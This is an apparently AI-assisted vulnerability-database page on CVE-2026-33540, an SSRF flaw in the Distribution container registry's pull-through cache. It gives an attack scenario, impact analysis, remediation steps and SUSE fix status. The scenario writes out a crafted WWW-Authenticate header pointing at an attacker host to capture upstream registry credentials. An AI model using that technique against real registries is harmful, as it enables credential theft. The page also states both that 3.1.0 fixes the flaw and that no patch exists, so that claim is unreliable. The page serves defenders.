Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker controls upstream registry
-
ExploitReturns malicious WWW-Authenticate challenge
-
ExecutionDistribution sends credentials to attacker-controlled realm
-
ImpactAttacker captures upstream credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Distribution toolkit versions prior to 3.1.0 configured in pull-through cache mode. Attacker must control the upstream registry or have MitM position between distribution and upstream. No user interaction required. Remote unauthenticated exploitation. |
| Impact | This vulnerability presents elevated real-world risk despite moderate CVSS base score. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates remote exploitation with low complexity and no authentication barrier, making attacks straightforward to execute. The High confidentiality impact (C:H) reflects credential exposure risk-captured upstream registry credentials could grant attackers unauthorized access to private container repositories containing proprietary application code, secrets, or intellectual property. However, exploitation requires specific preconditions: the distribution instance must operate in pull-through cache mode with upstream authentication configured, and attackers need control over the upstream registry responses (either by operating a malicious registry or achieving MitM position via DNS poisoning, compromised network infrastructure, or BGP hijacking). The Scope:Unchanged (S:U) designation limits impact to the vulnerable component itself. Without EPSS data, we cannot quantify exploitation probability, but the attack surface is narrower than typical SSRF vulnerabilities due to deployment-specific requirements. Organizations using distribution as a simple registry (not pull-through cache) or without upstream authentication are not affected. The availability of vendor-released patch (3.1.0) significantly reduces residual risk for organizations with mature patch management, though unpatched instances in enterprise DMZs or cloud environments remain attractive targets for credential harvesting campaigns. |
| Exploit ScenarioDerived | An attacker operates a malicious container registry at evil.example.com and convinces an organization to configure it as an upstream source in their distribution pull-through cache, or alternatively compromises DNS resolution to redirect legitimate upstream registry traffic. When distribution attempts to pull an image, the malicious registry responds with HTTP 401 Unauthorized containing a crafted WWW-Authenticate header: 'Bearer realm="https://attacker.com/steal"'. Distribution parses this challenge, extracts the attacker-controlled realm URL, and sends an HTTP request to https://attacker.com/steal with the configured upstream credentials in the Authorization header via basic authentication. The attacker captures these credentials and uses them to directly access the legitimate upstream registry, gaining unauthorized access to the organization's private container images, application source code, and embedded secrets. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 06, 2026
Server-Side Request Forgery (SSRF) in distribution container toolkit versions before 3.1.0 enables credential theft via malicious upstream registry responses. When operating in pull-through cache mode, distribution parses WWW-Authenticate bearer challenges from upstream registries without validating the realm URL against the configured upstream host. Attackers controlling the upstream registry or positioned for man-in-the-middle attacks can specify arbitrary realm URLs, causing distribution to transmit configured upstream credentials via basic authentication to attacker-controlled endpoints (CVSS 7.5, High confidentiality impact). EPSS data and KEV status not available; no public exploit identified at time of analysis, though exploitation requires only network access with low complexity (AV:N/AC:L) and no authentication (PR:N).
RemediationAI
Upgrade distribution to version 3.1.0 or later, which implements proper validation of bearer challenge realm URLs to ensure they match the configured upstream registry domain before transmitting credentials. Organizations unable to immediately upgrade should disable pull-through cache functionality or remove upstream authentication credentials from distribution configuration, instead using unauthenticated public registries or implementing network-layer controls to prevent distribution from reaching attacker-controlled destinations. Deploy egress filtering to restrict distribution servers to communicate only with known-legitimate registry domains. Review authentication logs for the period prior to patching to identify potential unauthorized realm URL requests that may indicate exploitation attempts or successful credential theft. Rotate any upstream registry credentials that were configured in vulnerable distribution deployments. Consult the GitHub Security Advisory at https://github.com/distribution/distribution/security/advisories/GHSA-3p65-76g6-3w7r for additional vendor guidance and validation procedures.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The distribution project (formerly Docker Registry) is a reference implementation for storing and distributing container images via OCI/Docker registry protocols. In pull-through cache deployments, distribution acts as a transparent proxy that retrieves and caches images from upstream registries. The vulnerability stems from improper URL validation during OAuth 2.0 bearer token authentication flows (RFC 6750). When parsing WWW-Authenticate headers containing bearer challenges (e.g., 'Bearer realm="https://auth.example.com/token"'), distribution extracts the realm URL to obtain access tokens but fails to verify this URL belongs to the trusted upstream registry domain. This CWE-918 Server-Side Request Forgery flaw allows attacker-supplied realm URLs to be trusted, causing the application to initiate outbound HTTP requests with sensitive credentials to arbitrary destinations. The vulnerability specifically affects the authentication middleware that handles token discovery and credential passing in pull-through cache configurations where upstream authentication is required.
Know when Distribution gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.0, in pull-through cache mode, distribution discovers token auth endpoints by parsing WWW-Authenticate challenges returned by the configured upstream registry. The realm URL from a bearer challenge is used without validating that it matches the upstream registry host. As a result, an attacker-controlled upstream (or an attacker with MitM position to the upstream) can cause distribution to send the configured upstream credentials via basic auth to an attacker-controlled realm URL. This vulnerability is fixed in 3.1.0.
Executive ViewAI
CVE-2026-33540 is a Server-Side Request Forgery vulnerability in distribution container toolkit versions before 3.1.0 that allows attackers to steal upstream registry credentials through malicious authentication challenges. Organizations using pull-through cache mode are at risk of credential compromise, potentially enabling unauthorized access to private container registries and downstream supply chain attacks.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable pull-through cache mode if not operationally required; (2) implement egress firewall rules restricting distribution instances to whitelisted upstream registry endpoints only; (3) use network-based man-in-the-middle detection; (4) rotate upstream registry credentials immediately and monitor for unauthorized access; (5) deploy distribution toolkit behind a forward proxy with strict URL validation on outbound requests.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
More in Distribution
View allSame weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Micro 5.5 | Fixed |
| SUSE Linux Enterprise Module for Containers 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 16.0 | Fixed |
| SUSE Linux Enterprise Server 16.1 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Fixed |
| SUSE Linux Micro 6.0 | Fixed |
| SUSE Linux Micro 6.1 | Fixed |
| SUSE Linux Micro 6.2 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Module for Containers 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Containers 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Containers 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Containers 15 SP3 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP3 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap Micro 5.5 | Fixed |
| suse/helm | Fixed |
EUVD-2026-19289
GHSA-3p65-76g6-3w7r
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB